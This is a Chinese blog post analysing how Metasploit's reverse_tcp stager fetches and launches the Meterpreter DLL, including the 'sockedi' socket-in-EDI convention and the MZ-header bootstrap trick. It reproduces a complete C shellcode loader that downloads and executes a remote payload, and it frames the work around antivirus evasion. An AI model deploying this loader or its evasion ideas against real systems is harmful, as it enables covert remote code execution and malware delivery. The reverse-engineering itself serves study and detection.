metasploit payload執行原理淺析(sockedi呼叫約定是什麼)
阿新 • • 發佈:2020-05-09
## 背景
最近在做一些msf相關的事情,今天聽到免殺相關的,去查詢了下相關資料。
第一個不能錯過的就是cobalt strike作者早年寫的metasploit-loader專案了,我看了專案原始碼,找了一些相關資料
在 [Meterpreter載荷執行原理分析](https://xz.aliyun.com/t/1709) 文章發現了一些細節性的東西,也感謝該文作者的拋磚引玉,不過文中有一些錯誤以及未說明白的地方,我會一一道來。
注意:本文只是對我自己的分析結果進行一次覆盤,如果有什麼錯誤之處歡迎大家斧正
## metasploit loader
### metasploit的shellcode到底做了什麼
首先我們需要探討的第一個問題是metasploit的shellcode到底做了什麼?
在msf的官方wiki中,官方有對這個問題做一些簡單的解釋
- [How payloads work](https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work)
- [中文翻譯版在這](https://zhuanlan.zhihu.com/p/61412226)
從上面的文章我們大致能知道其實我們使用msf生成的shellcode只是一個載入器(Stagers),然後載入器通過我們生成shellcode時指定的ip和埠回連過來取到真正執行的惡意載荷(Stages)
### 載入器(Stagers)回連的具體流程
那麼提出第二個問題,這個載入器(Stagers)回連的具體程式碼流程是怎樣的?
我們通過文件只能知道Stagers通過網路載入Stages,那麼Stages是什麼?shellcode?可執行檔案?反射dll?這些我們還都不清楚。
然後通過網上一些零星的資料,找到了msf郵件組曾經的兩封郵件(源地址已無法訪問,所幸WebArchive有留存)
- [\[framework\] inline meterpreter payload](https://web.archive.org/web/20160729173425/https://dev.metasploit.com/pipermail/framework/2012-September/008660.html)
- [\[framework\] inline meterpreter payload](https://web.archive.org/web/20160729173608/https://dev.metasploit.com/pipermail/framework/2012-September/008664.html)
裡面提到流程以及關鍵點
**流程**
> No tutorials that I know of, but here are the basic steps:
>
> * connect to the handler
> * read a 4-byte length
> * allocate a length-byte buffer
> * mark it as writable and executable (on Windows you'll need
> VirtualProtect for this)
> * read length bytes into that buffer
> * jump to the buffer. easiest way to do this in C is cast it to a
> function pointer and call it.
**關鍵點**
> Assuming this is for X86 arch, you have to make sure that the EDI
> register contains your socket descriptor (the value of the ConnectSocket
> variable). You can do this via inline asm, but it might be easier to
> just prepend the 5 bytes for setting it to your shellcode:
>
> BF 78 56 34 12 mov edi, 0x12345678
>
> For 64 bit, you have to use the RDI register (and need 10 bytes):
>
> 48 BF 78 56 34 12 00 00 00 00 mov rdi, 0x12345678
>
>
> Hope this helps,
>
>
> Michael
>
> PS: This is the reason why the calling convention within Metasploit is
> called "sockedi" :-)
>
也就是說主要的流程大致上就是
1. tcp連線
2. 讀取socket前四個byte,這個為後面的載荷的長度
3. 分配可讀可寫可執行的記憶體,把載荷塞進去
4. 注意這段載荷的前面需要手動加 `mov edi, &socket`
5. 然後跳轉到這塊記憶體進行執行
實現起來並不困難,但是有些奇怪的點,比如為什麼需要手動把edi的值設定為socket的地址?這個我們先放一放,看看一些loader的原始碼
**首先是[cobalt strike作者的](https://github.com/rsmudge/metasploit-loader)**
```c
int main(int argc, char * argv[]) {
ULONG32 size;
char * buffer;
void (*function)();
winsock_init();
if (argc != 3) {
printf("%s [host] [port]\n", argv[0]);
exit(1);
}
/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value\n");
/* allocate a RWX buffer */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not allocate buffer\n");
/* prepend a little assembly to move our SOCKET value to the EDI register
thanks mihi for pointing this out
BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF;
/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);
/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);
/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();
return 0;
}
```
其他的函式我並沒有列出來,裡面的實現應該也很明白,就是我之前說的流程
**然後是先知社群的,其實也就是把上一份程式碼註釋翻譯了一下**
```c
//主函式
int main(int argc, char * argv[]) {
ULONG32 size;
char * buffer;
//建立函式指標,方便XXOO
void (*function)();
winsock_init(); //套接字初始化
//獲取引數,這裡隨便寫,接不接收無所謂,主要是傳遞遠端主機IP和埠
//這個可以事先定義好
if (argc != 3) {
printf("%s [host] [port] ^__^ \n", argv[0]);
exit(1);
}
/*連線到處理程式,也就是遠端主機 */
SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));
/* 讀取4位元組長度
*這裡是meterpreter第一次傳送過來的
*4位元組緩衝區大小2E840D00,大小可能會有所不同,當然也可以自己丟棄,自己定義一個大小
*/
//是否報錯
//如果第一次不是接收的4位元組那麼就退出程式
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read length value Error\n");
/* 分配一個緩衝區 RWX buffer */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not alloc buffer\n");
/*
*SOCKET賦值到EDI暫存器,裝載到buffer[]中
*/
//mov edi
buffer[0] = 0xBF;
/* 把我們的socket裡的值複製到緩衝區中去*/
memcpy(buffer + 1, &my_socket, 4);
/* 讀取位元組到緩衝區
*這裡就迴圈接收DLL資料,直到接收完畢
*/
count = recv_all(my_socket, buffer + 5, size);
/* 將緩衝區作為函式並呼叫它。
* 這裡可以看作是shellcode的裝載,
* 因為這本身是一個DLL裝載器,完成使命,控制權交給DLL,
* 但本身不退出,除非遷移程序,靠DLL裡函式,DLL在DLLMain裡是迴圈接收指令的,直到遇到退出指令,
* (void (*)())buffer的這種用法經常出現在shellcode中
*/
function = (void (*)())buffer;
function();
return 0;
}
```
兩份程式碼都沒解決我們的疑問
我們直接翻翻msf原始碼
[lib/msf/core/payload/windows/reverse_tcp.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb)
程式碼比較長我就不貼了,簡要說一下, `asm_block_recv` 函式是接收載荷的函式,然後我們看看 `asm_reverse_tcp`
```asm
create_socket:
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
```
call WSASocketA 之後返回的是socket控制代碼,返回值一般是在eax裡面,然後把eax賦值到了edi
繼續找找edi,但是發現剩下的edi都是用作呼叫,好像沒有什麼明顯的作用,那為什麼有這個?
## 這個載荷Stages具體是怎麼生成的?
這裡就要引入我剛才說的先知上的那篇文章的問題了,在 [Meterpreter載荷執行原理分析](https://xz.aliyun.com/t/1709) 文章中,作者提到
> metasploit的meterpreter的payload呼叫了meterpreter_loader.rb檔案,在meterpreter_loader.rb檔案中又引入了reflective_dll_loader.rb檔案,reflective_dll_loader.rb主要是獲取ReflectiveLoader()的偏移地址,用於重定位使用,沒有什麼可分析的。我們來到這個檔案裡reflectivedllinject.rb,這個檔案主要是修復反射dll的,meterpreter_loader.rb檔案主要是用於自身模組使用,修復dll和讀取payload的長度的。
>
其實 `windows/meterpreter/reverse_tcp` 是走的 `meterpreter_loader`,而不是文中的 `reflectivedllinject`,我通過除錯發現這個請求載荷的過程是流經 `meterpreter_loader` 檔案的
不過這兩個檔案的功效都是差不多的,我們開啟分析一下
映入眼簾的應該是這段
```ruby
def stage_meterpreter(opts={})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
asm_opts = {
rdi_offset: offset,
length: dll.length,
stageless: opts[:stageless] == true
}
asm = asm_invoke_metsrv(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
dll
end
```
這段程式碼裡面首先取到了metsrv的dll的檔案,然後傳入 `asm_invoke_metsrv` 函式做處理,生成彙編位元組碼,然後替換這個dll的頭部
我們看看 `load_rdi_dll` 函式,這個函式取到了一個偏移量然後傳入 `asm_invoke_metsrv` 函式做處理了
```ruby
def load_rdi_dll(dll_path)
dll = ''
::File.open(dll_path, 'rb') { |f| dll = f.read }
offset = parse_pe(dll)
unless offset
raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
end
return dll, offset
end
def parse_pe(dll)
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll))
offset = nil
pe.exports.entries.each do |e|
if e.name =~ /^\S*ReflectiveLoader\S*/
offset = pe.rva_to_file_offset(e.rva)
break
end
end
offset
end
```
甚至我們不用深究這些函式的具體流程,看名稱就知道,這個是從dll匯出表找到了ReflectiveLoader匯出函式的地址
然後進入 `asm_invoke_metsrv` 看看
```ruby
def asm_invoke_metsrv(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
^
unless opts[:stageless] || opts[:force_write_handle] == true
asm << %Q^
mov [ebx], edi ; write the current socket/handle to the config
^
end
asm << %Q^
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
^
end
```
不得不說這段十分巧妙,我們想想剛才的流程是什麼,排開那個 `mov edi, &socket` 不論,剩下的就是從傳回來的載荷的首地址開始跑了,那假如是一個dll檔案,你把一個平常的dll檔案,VirtualAlloc後直接跳到地址跑,能跑起來嗎?顯然是不能的,我們看看msf中的處理
我們上面的程式碼分析過,這個彙編最後是替換了dll的頭部,pe檔案的頭部就是dos頭,dos頭必須是MZ開頭,不然這個根本算不上一個pe檔案
那 `dec ebp` 和 `pop edx` 算怎麼回事?
其實這兩條彙編的機器碼就是
```
\x4D # dec ebp
\x5A # pop edx
```
恰好構成了MZ頭,然後繼續往下跑,呼叫了ReflectiveLoader(),這個是反射dll技術,具體程式碼技術細節可以見 [https://github.com/stephenfewer/ReflectiveDLLInjection](https://github.com/stephenfewer/ReflectiveDLLInjection)
呼叫該dll匯出函式 `ReflectiveLoader` 的主要功能就是載入dll自身到記憶體中,然後返回dllmain的函式地址,返回值是在eax裡面
然後呼叫 `mov [ebx], edi ; write the current socket/handle to the config` 把edi也就是上文提到的socket控制代碼地址存入ebx執行的記憶體,上面可以看到
```asm
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
```
這段彙編把ebx指向到了該dll載入空間的末尾
緊接著執行
```asm
push ebx ; push the pointer to the configuration start
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
```
呼叫儲存在eax中的dllmain的函式
其中的ebx到底是什麼?
我們把目光再往外層拉
```
def stage_payload(opts={})
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
opts[:uuid] ||= generate_payload_uuid
# create the configuration block, which for staged connections is really simple.
config_opts = {
arch: opts[:uuid].arch,
null_session_guid: opts[:null_session_guid] == true,
exitfunk: ds[:exit_func] || ds['EXITFUNC'],
expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
uuid: opts[:uuid],
transports: opts[:transport_config] || [transport_config(opts)],
extensions: [],
stageless: opts[:stageless] == true
}
# create the configuration instance based off the parameters
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
# return the binary version of it
config.to_b
end
```
可以看到 `stage_payload` 中把生成好的dll位元組碼和一串config拼接了起來,config裡面的引數要分析的話又是一大塊了,本文不著眼於此
跟進 `config.to_b` 看看
```ruby
def to_b
config_block
end
def config_block
# start with the session information
config = session_block(@opts)
# then load up the transport configurations
(@opts[:transports] || []).each do |t|
config << transport_block(t)
end
# terminate the transports with NULL (wchar)
config << "\x00\x00"
# configure the extensions - this will have to change when posix comes
# into play.
file_extension = 'x86.dll'
file_extension = 'x64.dll' unless is_x86?
(@opts[:extensions] || []).each do |e|
config << extension_block(e, file_extension)
end
# terminate the extensions with a 0 size
config << [0].pack('V')
# wire in the extension init data
(@opts[:ext_init] || '').split(':').each do |cfg|
name, value = cfg.split(',')
config << extension_init_block(name, value)
end
# terminate the ext init config with a final null byte
config << "\x00"
# and we're done
config
end
```
然後我們跟進 `session_block` 和 `transport_block` 看看就能明白這就是一串配置轉化為位元組碼,具體的轉化規則我們不論
可以看到 函式裡面有
```ruby
session_data = [
0, # comms socket, patched in by the stager
exit_func, # exit function identifer
opts[:expiration], # Session expiry
uuid, # the UUID
session_guid # the Session GUID
]
session_data.pack('QVVA*A*')
```
最開始的是0,pack的格式是Q,8位,這8位是幹嘛的?
現在回過頭想想,當之前生成好的dll載荷,我們從首地址開始跑,我們剛才那個edi(socket地址)填充到哪了,是不是那個dll空間的末尾再往後填,這個空間不恰好就是這8位0嗎?
## 所謂的sockedi到底是啥?
### 跟蹤edi
根據我們前面的分析,我們把[載入器](https://github.com/rsmudge/metasploit-loader/blob/master/loader.exe)掛偵錯程式跑起來看看
![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173619033-61497079.png)
首先分配完RWX記憶體空間後,我們看到了首地址 `0x6A0000`,然後我們在記憶體視窗中轉到該地址,那我們重點關注的是dll所在區域的末尾,我們直接把記憶體地址轉到 `0x6CAC06`(別問我怎麼知道的,方法很多,比如多次除錯)
![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173634730-1974268679.png)
我們首先把記憶體地址轉到這個地方然後往下跑把資料接過來看看
![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173708451-101591212.png)
現在前八位還是空的,但是後面已經有一些資料了,包括一些能看到文字的配置(比如tcp://0.0.0.0:4444)然後繼續下跑,進到我們分配出來的函式去看看
![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173728840-254478172.png)
首當其衝的就是我們的 `mov edi, &socket`,繼續往下
![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173741504-441507510.png)
可以看到,和我們預期的一樣,複製到了這八位的空間裡面,這裡可以配合msf原始碼以及我的註釋檢視
### 分析用作載荷的反射dll
還記得我們前面分析的原始碼中的metsrv dll檔案嗎?
我們可以在 [metasploit-payloads](https://github.com/rapid7/metasploit-payloads) 中找到這個專案的原始碼
我們直接看看[metsrc dllmain函式](https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/metsrv/metsrv.c#L47)
```c
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_METASPLOIT_ATTACH:
bReturnValue = Init((MetsrvConfig*)lpReserved);
break;
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
```
剛才呼叫dllmain我們是使用了 `calleax ;call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)`
我們這個 `config_ptr` 傳遞的是什麼?是 `push ebx ; push the pointer to the configuration start`,也就是那個首8位塞了我們socket控制代碼地址的資料的起始地址,然後走 `DLL_METASPLOIT_ATTACH` 分支,把這個地址中的資料強轉為了 `MetsrvConfig` 結構體
我們看看 `MetsrvConfig` 結構體
```c
typedef struct _MetsrvConfig
{
MetsrvSession session;
MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports
// Extensions will appear after this
// After extensions, we get a list of extension initialisers
// \x00
// \x00
// \x00
} MetsrvConfig;
typedef struct _MetsrvSession
{
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
DWORD exit_func; ///! Exit func identifier for when the session ends.
int expiry; ///! The total number of seconds to wait before killing off the session.
BYTE uuid[UUID_SIZE]; ///! UUID
BYTE session_guid[sizeof(GUID)]; ///! Current session GUID
} MetsrvSession;
typedef struct _MetsrvTransportCommon
{
CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI
int comms_timeout; ///! Number of sessions to wait for a new packet.
int retry_total; ///! Total seconds to retry comms for.
int retry_wait; ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;
```
這些資訊很明顯能看到是一些資訊,比如uuid,重試次數之類的,這些在payload的生成選項裡面都能找到
那麼我們現在差不多明白了,這一塊的東西是強轉成了這個結構體,包括edi中所存放的socket控制代碼地址
好吧,別忘了我們的**使命,搞清楚這個edi的作用**
劃入這個結構體也就是
```
union
{
UINT_PTR handle;
BYTE padding[8];
} comms_handle; ///! Socket/handle for communications (if there is one).
```
也就是我們找找 `comms_handle` 用在了哪
所以進到 `Init((MetsrvConfig*)lpReserved)` 裡面看看
```c
DWORD Init(MetsrvConfig* metConfig)
{
// if hAppInstance is still == NULL it means that we havent been
// reflectivly loaded so we must patch in the hAppInstance value
// for use with loading server extensions later.
InitAppInstance();
// In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually
// a pointer to the metserv configuration, so do a nasty cast and move on.
dprintf("[METSRV] Getting ready to init with config %p", metConfig);
DWORD result = server_setup(metConfig);
dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func);
// We also handle exit func directly in metsrv now because the value is added to the
// configuration block and we manage to save bytes in the stager/header as well.
switch (metConfig->session.exit_func)
{
case EXITFUNC_SEH:
SetUnhandledExceptionFilter(NULL);
break;
case EXITFUNC_THREAD:
ExitThread(0);
break;
case EXITFUNC_PROCESS:
ExitProcess(0);
break;
default:
break;
}
return result;
}
```
裡面呼叫了 `server_setup` 然後吐出了結果,最後返回,跟到外層也就是dllmain的返回值,dllmain返回值作用我不贅述了,然後根據你的生成選項中的 `EXITFUNC` 來進行退出,退出程序、執行緒或者SEH異常,這裡我們不管,我們看看 `server_setup` 函式
[server_setup函式](https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/metsrv/server_setup.c#L317)很長,我就不貼整個函數了
使用了 `comms_handle` 的我貼一下
```c
...
dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
...
dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
if (remote->transport->set_handle)
{
remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
}
```
根據這些程式碼我們能夠知道是把 Transport handle 設定為了我們之前建立的socket
繼續往後找我們能找到
![](https://img2020.cnblogs.com/blog/1106918/202005/1106918-20200509173801194-1649860505.png)
然後跟進 `transport_set_handle_tcp` 可以看到
```
/*!
* @brief Get the socket from the transport (if it's TCP).
* @param transport Pointer to the TCP transport containing the socket.
* @return The current transport socket FD, if any, or zero.
*/
static UINT_PTR transport_get_handle_tcp(Transport* transport)
{
if (transport && transport->type == METERPRETER_TRANSPORT_TCP)
{
return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd;
}
return 0;
}
/*!
* @brief Set the socket from the transport (if it's TCP).
* @param transport Pointer to the TCP transport containing the socket.
* @param handle The current transport socket FD, if any.
*/
static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle)
{
if (transport && transport->type == METERPRETER_TRANSPORT_TCP)
{
((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle;
}
}
```
也只是轉為了socket控制代碼,然後給外部再繼續通過這個socket去取一些伺服器上的東西(後面的我沒再跟下去了,我猜測也只有這種可能)
## 總結
這次的分析耗時一天,從上午看到討論免殺,載入器,然後開始分析,說實話,還是收穫了不少,比如那個反射dll的改dos頭就讓我不得不佩服,臥槽,這操作騷。本次只是拿 `windows/meterpreter/reverse_tcp` 開刀,我相信其他的也一樣,不然何以被官方稱 `sockedi` 呼叫約定,說明這已經是msf裡面載入的約定成俗的東西了。
那麼從這次的分析中我們能獲得哪些啟示?當然是免殺對抗的啟示,antiAV方可以通過研究使用自己的payload格式,AV方可以通過這個流程來對msf的payload的查殺更上一步,或者根據裡面的改DOS頭技術打造自己的模組化RAT
### 下一步可以做的
1. 研究payload uuid的回傳
2. 研究rc4,aes之類的所謂加密shellcode,加密是在哪裡
3. ...
### 現在就可以得到的
1. 當然是一個香噴噴的shellcode載入器,具體實現就是八仙過海各顯神通了。
2. 改DOS頭直接執行